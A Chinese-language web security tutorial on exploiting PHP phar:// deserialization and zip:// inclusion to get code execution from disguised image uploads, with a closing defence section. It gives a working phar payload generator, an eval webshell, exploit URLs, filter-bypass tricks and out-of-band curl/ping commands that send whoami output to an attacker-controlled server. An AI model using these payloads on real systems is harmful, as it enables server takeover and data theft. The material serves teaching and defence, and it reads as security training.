1. 项目概述从一次“意外”的文件包含说起几年前我在做一次常规的Web应用安全评估时遇到了一个挺有意思的情况。目标站点对文件上传功能做了非常严格的限制白名单校验只允许.jpg,.png这类图片后缀文件内容也用了getimagesize()做了二次验证甚至存储路径都是随机的防止直接访问。按照常规思路这个上传点可以说是“固若金汤”了。然而在测试其文件包含功能时我传了一个精心构造的图片马尝试用php://filter去读取结果被WAF拦了。百无聊赖之下我随手尝试了一个phar://协议去包含我之前上传的、看起来人畜无害的某个头像图片服务器竟然意外地执行了我藏在图片里的代码。那一刻我意识到phar和zip这类伪协议在特定条件下其威力远比我们想象的要大它们能绕过很多基于后缀和内容检测的防御直击应用的核心逻辑。这就是我们今天要深入探讨的核心phar/zip伪协议在文件上传漏洞中的实战应用。简单来说这不是一个关于“如何上传一个.php文件”的老生常谈而是一种更高级、更隐蔽的利用方式。它利用的是应用在处理这些协议时对文件内部结构的解析逻辑从而将“数据文件”瞬间变为“可执行代码”。无论你是刚入门的安全爱好者还是想深化Web安全理解的中级开发者理解这种攻击手法不仅能帮助你更好地进行渗透测试更能从防御角度深刻认识到安全是一个立体、多维的战场堵住一个明显的漏洞可能只是万里长征的第一步。2. 核心原理深度拆解协议、封装与反序列化要理解如何利用必须先弄清楚phar和zip伪协议到底是什么以及它们为何能成为攻击的跳板。这不仅仅是知道怎么用更要明白背后的“为什么”。2.1 Phar协议PHP的“自描述”归档文件pharPHP Archive是PHP 5.3之后引入的一种将PHP代码和资源打包成一个文件的格式初衷是为了方便分发和部署。你可以把它想象成一个专属于PHP的“.jar”包或“.exe”自解压包。一个合法的phar文件包含四部分Stub存根一个PHP脚本通常以__HALT_COMPILER();结尾。当以php pharfile.phar方式执行时这部分代码首先运行。Manifest清单描述归档内文件元数据的部分使用序列化格式存储。File Contents文件内容实际被打包的文件内容。Signature签名可选用于验证phar文件的完整性。关键攻击点在于phar://流包装器Stream Wrapper和反序列化。当PHP使用phar://协议去读取一个文件比如include(‘phar:///path/to/uploaded/image.jpg’)时它会做以下几件事解析phar文件结构。将Manifest部分进行反序列化deserialize以获取内部文件列表和属性。根据路径定位并返回内部文件的内容。问题就出在第二步的反序列化。如果攻击者能够控制被读取的“phar文件”哪怕它后缀是.jpg并且该文件的Manifest中包含精心构造的序列化数据那么在反序列化过程中就可能触发PHP对象的魔术方法如__destruct(),__wakeup()从而执行任意代码。注意phar://触发反序列化的条件非常“宽松”。它不要求文件后缀是.phar只要文件内容符合phar格式规范即可。这意味着我们可以将一个恶意phar payload嵌入到一个.jpg文件中通过添加文件头或利用合并文件工具只要服务器端的PHP代码以phar://协议去读取它漏洞就可能被触发。2.2 Zip协议通用的压缩包解析器zip://是PHP另一个内置的流包装器用于访问ZIP压缩包内的文件。其格式为zip://[压缩包绝对路径]#[内部文件路径]。它的行为更直观当PHP遇到zip://协议时会尝试将目标文件当作一个ZIP压缩包来解压并访问其中的指定文件。攻击点在于PHP的zip://包装器在解析时并不严格校验文件后缀。只要文件内容符合ZIP格式即以PK文件头开始即使它被命名为picture.jpgzip://也会尝试将其解包。这就开辟了一条新路径攻击者可以上传一个包含WebShell的ZIP压缩包但将其后缀改为.jpg绕过前端检测。然后在存在本地文件包含LFI漏洞的地方使用zip://协议去包含这个“图片”并指定压缩包内的WebShell文件路径从而达到代码执行的目的。2.3 与文件上传漏洞的耦合点理解了协议本身我们来看它们如何与“文件上传漏洞”结合。这里的“文件上传漏洞”定义需要拓宽它不仅指能直接上传脚本文件更包括能上传任意内容文件到服务器可访问目录的能力。即使应用对上传文件做了如下安全措施后缀过滤只允许图片后缀。内容检测使用图像处理库验证文件是否为真图片。重命名上传后文件被随机命名。只要同时满足以下条件攻击依然可能成立文件可上传能将包含恶意Payload的phar或zip文件伪装成图片上传到服务器。文件可访问知道上传后文件的最终存储路径绝对路径或相对路径。存在触发点服务器端存在一个能触发协议解析的参数点。最常见的是文件包含函数include,require,file_get_contents等其参数或参数的一部分用户可控并且协议前缀如phar://未被过滤。3. 攻击链实战构建从上传到RCE理论说得再多不如亲手实践一遍。下面我将以两个典型场景拆解完整的攻击链。请务必在授权的测试环境如DVWA、Upload-Labs等靶场中进行复现。3.1 场景一利用Phar协议触发反序列化链假设我们有一个头像上传功能后端代码如下// upload.php $allowed_types [image/jpeg, image/png]; $file $_FILES[avatar]; if (in_array($file[type], $allowed_types)) { $filename uniqid() . .jpg; move_uploaded_file($file[tmp_name], /uploads/ . $filename); echo 上传成功文件位于/uploads/ . $filename; }以及一个疑似存在文件包含的页面// view.php?imgxxx $file $_GET[img]; // 用户可控 include($file); // 危险操作第一步生成恶意Phar文件我们需要创建一个包含恶意序列化数据的phar文件。这里需要一个“跳板”即一个包含魔术方法如__destruct的类该方法能执行系统命令。// exp.php class EvilObject { public $cmd whoami; public function __destruct() { system($this-cmd); } } // 创建phar文件 $phar new Phar(shell.phar); $phar-startBuffering(); $phar-addFromString(test.txt, test); // 添加一个虚拟文件 $phar-setStub(?php __HALT_COMPILER(); ?); // 设置存根 // 核心将恶意对象放入manifest $object new EvilObject(); $object-cmd id; // 要执行的命令 $phar-setMetadata($object); // 将对象序列化后存入元数据 $phar-stopBuffering(); // 将生成的.phar文件重命名为.jpg准备上传 rename(shell.phar, shell.jpg);执行php exp.php后会得到一个shell.jpg文件。用文本编辑器打开开头你可能会看到__HALT_COMPILER();等字样但文件整体仍可能被某些图像库识别为“损坏的图片”。第二步上传并定位文件将shell.jpg通过头像上传功能上传。假设返回路径为/uploads/5f1a2b3c4d5e.jpg。第三步触发反序列化此时我们利用文件包含漏洞但不再尝试包含.php文件而是使用phar://协议去“读取”我们上传的图片。http://target.com/view.php?imgphar:///var/www/html/uploads/5f1a2b3c4d5e.jpg当include函数处理phar://协议时它会解析5f1a2b3c4d5e.jpg的内容发现其符合phar格式进而反序列化其Metadata。EvilObject对象的__destruct方法被触发执行了id命令服务器返回了当前进程的用户信息。实操心得在实际渗透中你可能不知道具体的类名和属性。这就需要配合PHP反序列化漏洞的利用使用诸如Monolog,Guzzle等常见库中的POP链Property-Oriented Programming来构造更通用的攻击载荷。工具phpggc可以帮助你快速生成针对不同框架/库的phar payload。3.2 场景二利用Zip协议直接包含WebShell这个场景更直接不涉及反序列化而是利用压缩包的“穿透”能力。假设上传点同样只允许图片但使用了getimagesize()进行内容校验我们纯代码的phar文件可能无法通过。这时zip协议可能更有效。第一步制作“图片”压缩包先创建一个WebShell文件shell.php内容为?php eval($_POST[‘cmd’]);?。在Linux或使用7-Zip等工具将其压缩为shell.zip。关键步骤将shell.zip重命名为shell.jpg。此时这个文件本质上还是一个ZIP压缩包但拥有了.jpg后缀。第二步上传文件将shell.jpg上传至服务器获得路径/uploads/abcdef.jpg。第三步通过Zip协议访问压缩包内文件利用文件包含漏洞构造如下请求http://target.com/view.php?imgzip:///var/www/html/uploads/abcdef.jpg%23shell.php请注意zip://后面需要是文件的绝对路径。#在URL中表示锚点需要编码为%23。shell.php是压缩包内部的文件名。当include函数处理这个URI时zip://包装器会尝试将abcdef.jpg当作ZIP文件解压并取出其中的shell.php文件内容进行包含从而我们的WebShell就被成功执行了。注意事项zip://协议对路径格式要求严格且Windows和Linux环境存在差异。在Windows下绝对路径如C:\xampp\htdocs\uploads\file.jpg需要写为zip://C:/xampp/htdocs/uploads/file.jpg%23shell.php。路径错误是导致利用失败的最常见原因。4. 漏洞挖掘与利用的进阶技巧掌握了基础攻击链后我们来看看在实际更复杂的环境下如何提高利用成功率。4.1 如何寻找隐藏的触发点不是每个应用都有明显的include($_GET[‘file’])。触发点可能很隐蔽文件处理函数file_get_contents(),file(),fopen()等只要参数用户部分可控且拼接了协议头。XML相关处理如simplexml_load_file()有时也能接受带协议的路径。图像处理函数如imagecreatefromXXX()系列函数imagecreatefromjpeg,imagecreatefrompng等。这是一个非常经典的盲点很多开发者认为这些函数只处理图片很安全。但在某些PHP版本中这些函数内部也使用了流包装器来读取文件。如果传入phar://路径它同样会触发解析。你可以尝试imagecreatefromjpeg(‘phar:///path/to/malicious.jpg’)。压缩包解压函数ZipArchive::open()。如果代码逻辑是“用户上传zip后端解压”那么你可以上传一个phar文件改名为.zip在解压时可能触发反序列化。动态函数调用$func($_GET[‘p’])如果$func是include或require。技巧在审计或黑盒测试时关注所有将用户输入作为“文件路径”或“文件名”进行处理的地方。使用phar://或zip://作为测试payload观察服务器的响应时间反序列化可能导致延迟或错误信息的变化。4.2 绕过上传检测的多种姿势如果目标对上传文件的检测非常严格我们需要一些技巧来包装我们的恶意文件文件合并GIF89a对于图片检测可以在phar或zip文件内容前添加图片文件头如GIF的GIF89a。使用命令cat /path/to/real.jpg /path/to/shell.phar final.jpg。这样getimagesize()检查文件头通过而phar://解析时会跳过文件头找到正确的phar结构。利用二次渲染有些应用会上传后对图片进行压缩或裁剪二次渲染。这通常会破坏phar的二进制结构。此时zip协议可能更稳定因为ZIP格式在文件末尾有中央目录记录添加在图片末尾可能得以保留。需要多次测试。条件竞争如果文件上传后会被立即处理如检查、删除非法文件可以尝试利用条件竞争在文件被删除前快速发起包含请求。日志污染/其他文件写入如果实在无法通过上传点可以寻找其他能将可控内容写入文件的地方比如写入访问日志、错误日志、php://input写入临时文件等再结合phar://包含这些日志文件。4.3 无回显的利用盲打很多时候即使代码执行了我们也没有直接的命令回显。这时需要借助外带技术OOB在命令中执行curl http://your-dns-server/$IFS$(whoami)通过DNS查询记录查看结果。使用ping命令将执行结果作为域名的一部分ping -c 1whoami.your-server.com。写入Web目录一个文件echo ‘?php phpinfo();?’ /var/www/html/test.php然后访问。对于phar反序列化可以在__destruct方法中构造一个触发HTTP请求的Payload。5. 防御策略与安全开发建议了解了攻击手法防御思路就清晰了。防御的核心原则是最小化攻击面对用户输入保持绝对不信任。5.1 代码层防御禁用危险的流包装器在不需要的服务器环境中这是最根本的解决方法。在php.ini中设置allow_url_include Off allow_url_fopen Off并考虑禁用phar包装器但可能影响依赖phar包的应用; 通过以下方式之一 ; 1. 在php.ini中移除phar ; extensionphar.so 或 extensionphp_phar.dll 注释掉 ; 2. 在代码中动态禁用不推荐可能被绕过 ; stream_wrapper_unregister(phar);严格过滤文件包含的参数永远不要将用户输入直接传递给文件包含函数。如果必须动态包含请使用白名单机制。// 错误示范 include($_GET[‘page’] . ‘.php’); // 正确示范 $allowed_pages [‘home’, ‘about’, ‘contact’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); }检查协议前缀在允许动态文件路径的地方过滤或拒绝包含://的输入。if (strpos($path, ‘://’) ! false) { die(‘Invalid path!’); }安全处理上传文件使用随机文件名并隐藏真实路径。将文件存储在Web根目录之外通过脚本代理访问如/download.php?idxxx。使用安全的MIME类型检测结合文件头检查和文件扩展名不要依赖$_FILES[‘file’][‘type’]。对图片进行二次渲染使用GD或Imagick库重新生成这能有效破坏嵌入的恶意代码。设置文件系统权限确保上传目录不可执行。5.2 架构与运维层防御部署Web应用防火墙WAF配置规则拦截包含phar://,zip://,php://等危险协议串的请求。定期更新PHP版本新版本通常会修复流包装器相关的历史安全问题。最小权限原则运行PHP-FPM或Apache进程的用户权限应尽可能低避免其能执行敏感系统命令。安全代码审计将“文件包含”、“反序列化”、“流包装器使用”作为代码审计的重点项目。6. 实战排查与疑难问题解决在实际利用过程中你可能会遇到各种问题。下面是一些常见坑点及排查思路。6.1 常见错误与排查表现象可能原因排查步骤使用phar://包含后页面空白或500错误1. 文件不是有效的phar格式。2. 反序列化链不存在或环境不满足。3. PHP配置phar.readonlyOn影响生成不影响包含。4. 目标函数不支持流包装器。1. 检查生成的phar文件用php -l或Phar::loadPhar()验证。2. 检查是否包含必要的类POP链。3. 尝试包含一个正常的phar文件测试环境。4. 换用file_get_contents(‘phar://…’)测试。zip://包含无效返回“No such file”1. 路径错误特别是绝对路径和%23编码问题。2. 文件不是有效的ZIP格式。3. 内部文件路径错误。1. 确认服务器上的绝对路径。在Linux下使用realpath()函数定位如果有可能。2. 用unzip -l yourfile.jpg检查伪装的zip文件是否正常。3. 确保#后的文件名与压缩包内完全一致。上传的文件被破坏服务器端进行了图像处理、内容过滤或编码转换。1. 尝试将payload放在文件末尾对zip更友好。2. 尝试不同的文件合并方式。3. 寻找不上传图片而上传其他文件如txt、pdf的功能点。无回显不确定是否成功命令执行成功但没有输出。1. 使用OOB技术DNS、HTTP请求验证。2. 尝试写入Web目录一个测试文件。3. 执行sleep 10命令观察请求响应时间是否明显变长。6.2 高级技巧Phar与反序列化POP链的构造这是phar利用的难点和精华所在。你需要找到一个从反序列化入口点__destruct,__wakeup到危险函数如system,eval,file_put_contents的调用链。工具推荐phpggc一个强大的PHP反序列化payload生成工具集成了大量主流框架和库如Laravel, Symfony, ThinkPHP, Monolog等的POP链。你可以直接用其生成phar文件./phpggc -phar Monolog/RCE1 system ‘id’ shell.jpg。PHPGGC-Custom如果需要审计自定义代码需要手动分析魔术方法和类属性之间的调用关系。思路通过报错信息、源码泄露.git或组件识别如Composer的vendor目录确定目标使用的PHP库和框架。在phpggc中寻找对应的POP链。生成payload并测试。在我个人的多次实战和CTF比赛中phar反序列化往往是与文件上传结合后拿下高权限节点的关键一步。它考验的不仅是漏洞利用技巧更是对PHP底层机制和第三方组件安全性的深刻理解。防御方同样需要意识到仅仅守住文件上传的后缀和内容类型是远远不够的必须对数据在整个应用生命周期内的流动和处理逻辑保持全方位的安全审视。